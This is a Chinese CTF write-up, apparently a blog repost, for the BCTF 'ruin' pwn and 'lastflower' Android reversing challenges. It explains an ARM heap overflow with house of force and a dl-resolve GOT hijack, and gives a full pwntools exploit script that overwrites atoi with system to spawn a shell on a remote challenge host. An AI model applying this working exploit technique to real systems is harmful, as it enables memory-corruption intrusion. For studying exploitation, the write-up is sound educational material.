Bctf-pwn_ruin-re_lastflower

Pwn-ruin

用几个词来概括下漏洞原理:Arm+heap overflow(house of force)+dl-resolve

Info leak:

在printf key8时,泄漏堆上地址(secret里放的是堆上地址)。

增大top chunk的大小

可以保证下一次malloc时,申请到任意地址内存

申请内存,覆盖secret, name, key16

使得内存结构为:

Addr                                    data

00010FB4(addr of secret)                pointer to name(00010fb8)

00010fb8(addr of name)

00010fbc(addr of key16)    

这样的话,可以通过editsecret覆盖key16为任意值,最后通过updatekey16实现任意内存写。

    利用dl-resolve的原理,将got中atoi的改为地址未解析前的数值,然后在堆上构造fake string table,并将dynamic段中的字符串表地址改为fake string table的地址。这个fake string table里'atoi'被修改为了'system',所以在下一次进行地址解析的时候,将会解析到system的地址,所以下一次调用到atoi时候,将会调用到system。顺利拿到shell。

  1 from pwn import *
  2 import time
  3 #by wah
  4 #context.log_level = 'debug'
  5 #s = remote('127.0.0.1', 10001)
  6 s = remote('166.111.132.49', 9999)
  7 '''
  8 time.sleep(1)
  9 print 'ruin pid is %d' % pwnlib.util.proc.pidof('ruin')[0]
 10 '''
 11 raw_input('go!')
 12 
 13 s.recvuntil('please input your 8-bit key:')
 14 s.send('11111111')
 15 heap = s.recvuntil(' ')[8:-1]
 16 heapaddr = u32(heap.ljust(4,'x00'))
 17 topaddr = heapaddr + 0x8
 18 print 'heap addr is ' + str(heapaddr)
 19 print 'top chunk addr is ' + str(topaddr)
 20 
 21 s.recvuntil('please input your 8-bit key:')
 22 s.send('security')
 23 s.recvuntil('Give me your choice(1-4):')
 24 s.sendline('2')
 25 s.recvuntil('please input your secret:')
 26 s.sendline('a'*8 + p32(0) + 'xffxffxffxff')
 27 
 28 s.recvuntil('Give me your choice(1-4):')
 29 s.sendline('2')
 30 s.recvuntil('please input your secret:')
 31 s.sendline('')
 32 
 33 namelen  = 0x10fa8 + 0x100000000 - 8 - topaddr
 34 namelen = 0xffffffff^namelen+1
 35 s.recvuntil('Give me your choice(1-4):')
 36 s.sendline('3')
 37 s.recvuntil('please input your name length:')
 38 s.sendline('-' + str(namelen))
 39 s.recvuntil('enter your name:')
 40 #s.sendline('namename')
 41 
 42 s.recvuntil('Give me your choice(1-4):')
 43 s.sendline('1')
 44 s.recvuntil('enter the new 16-bit key:')
 45 #s.send(p32(0x00008594)*4)
 46 s.send('a'*4 + p32(0x10fb8) + p32(0x10fb4)*2)
 47 
 48 s.recvuntil('Give me your choice(1-4):')
 49 s.sendline('2')
 50 s.recvuntil('please input your secret:')
 51 strtabaddr = heapaddr + 0x200
 52 s.sendline(2*p32(strtabaddr))
 53 
 54 s.recvuntil('Give me your choice(1-4):')
 55 s.sendline('1')
 56 s.recvuntil('enter the new 16-bit key:')
 57 print len('x00libc.so.6x00exitx00')
 58 s.send('x00libc.so.6x00exitx00')
 59 
 60 s.recvuntil('Give me your choice(1-4):')
 61 s.sendline('2')
 62 s.recvuntil('please input your secret:')
 63 strtabaddr = heapaddr + 0x210
 64 s.sendline(2*p32(strtabaddr))
 65 
 66 s.recvuntil('Give me your choice(1-4):')
 67 s.sendline('1')
 68 s.recvuntil('enter the new 16-bit key:')
 69 print len('strncmpx00putsx00__s')
 70 s.send('strncmpx00putsx00__s')
 71 
 72 s.recvuntil('Give me your choice(1-4):')
 73 s.sendline('2')
 74 s.recvuntil('please input your secret:')
 75 strtabaddr = heapaddr + 0x220
 76 s.sendline(2*p32(strtabaddr))
 77 
 78 s.recvuntil('Give me your choice(1-4):')
 79 s.sendline('1')
 80 s.recvuntil('enter the new 16-bit key:')
 81 print len('tack_chk_failx00ab')
 82 s.send('tack_chk_failx00ab')#ortx00
 83 
 84 s.recvuntil('Give me your choice(1-4):')
 85 s.sendline('2')
 86 s.recvuntil('please input your secret:')
 87 strtabaddr = heapaddr + 0x230
 88 s.sendline(2*p32(strtabaddr))
 89 
 90 s.recvuntil('Give me your choice(1-4):')
 91 s.sendline('1')
 92 s.recvuntil('enter the new 16-bit key:')
 93 print len('ortx00stdinx00printf')
 94 s.send('ortx00stdinx00printf')#
 95 
 96 s.recvuntil('Give me your choice(1-4):')
 97 s.sendline('2')
 98 s.recvuntil('please input your secret:')
 99 strtabaddr = heapaddr + 0x240
100 s.sendline(2*p32(strtabaddr))
101 
102 s.recvuntil('Give me your choice(1-4):')
103 s.sendline('1')
104 s.recvuntil('enter the new 16-bit key:')
105 print len('x00fgetsx00stdoutx00ma')
106 s.send('x00fgetsx00stdoutx00ma')#
107 
108 s.recvuntil('Give me your choice(1-4):')
109 s.sendline('2')
110 s.recvuntil('please input your secret:')
111 strtabaddr = heapaddr + 0x250
112 s.sendline(2*p32(strtabaddr))
113 
114 s.recvuntil('Give me your choice(1-4):')
115 s.sendline('1')
116 s.recvuntil('enter the new 16-bit key:')
117 print len('llocx00freadx00syste')
118 s.send('llocx00freadx00syste')#
119 
120 s.recvuntil('Give me your choice(1-4):')
121 s.sendline('2')
122 s.recvuntil('please input your secret:')
123 strtabaddr = heapaddr + 0x260
124 s.sendline(2*p32(strtabaddr))
125 
126 s.recvuntil('Give me your choice(1-4):')
127 s.sendline('1')
128 s.recvuntil('enter the new 16-bit key:')
129 print len('mx00setbufx00__libc_')
130 s.send('mx00setbufx00__libc_')
131 
132 s.recvuntil('Give me your choice(1-4):')
133 s.sendline('2')
134 s.recvuntil('please input your secret:')
135 dynamic = 0x10ea0+4
136 s.sendline(2*p32(dynamic))
137 
138 s.recvuntil('Give me your choice(1-4):')
139 s.sendline('1')
140 s.recvuntil('enter the new 16-bit key:')
141 s.send(p32(heapaddr + 0x200) + p32(6) + p32(0x00008294) + p32(0x0000000a))
142 
143 s.recvuntil('Give me your choice(1-4):')
144 s.sendline('2')
145 s.recvuntil('please input your secret:')
146 atoigot = 0x00010F80
147 s.sendline(2*p32(atoigot))
148 
149 s.recvuntil('Give me your choice(1-4):')
150 s.sendline('1')
151 s.recvuntil('enter the new 16-bit key:')
152 print len(4*p32(0x8574))
153 s.send(4*p32(0x8574))
154 
155 s.recvuntil('Give me your choice(1-4):')
156 s.sendline('/bin/sh;')
157 s.interactive()

Lostflower

    Android的逆向,代码经过了llvm分支混淆,简直不能看,突然想起来在ISG2015的时候,也遇到这样一个题,不过比这个简单不少,但是明白了一点:把握住关键函数就可以。

    猜测让v13等于就可以,就是猜的!

    进入check1,在my_pow()处下断点,进行观察函数功能。

在sub_1aa4处下断点,观察函数功能。

    猜测让v11<0就可以,就是猜的!

    调试过程中,发现my_pow做的是数的10次方,一共调用了10次my_pow后,断在sub_1aa4处,经过多次测试,sub_1aa4求的是绝对值。10次my_pow做的是将输入数字的每一位进行10次方后进行求和,减去数字本身后,最后传入到sub_1aa4。32位数的范围是-2^32到2^31-1,那么如果传入sub_1aa4的是-2^32,那么返回值是0x80000000,那么会被当作负数。

    好了,思路理清楚后,就准备爆破(长度为10数字),调试的时候发现,如果输入的数字大于0x7fffffff,都会以0x7fffffff处理,所以搜索的空间大大减小。写了一个小程序,大概1分钟出结果。

原文地址:https://www.cnblogs.com/wangaohui/p/5310245.html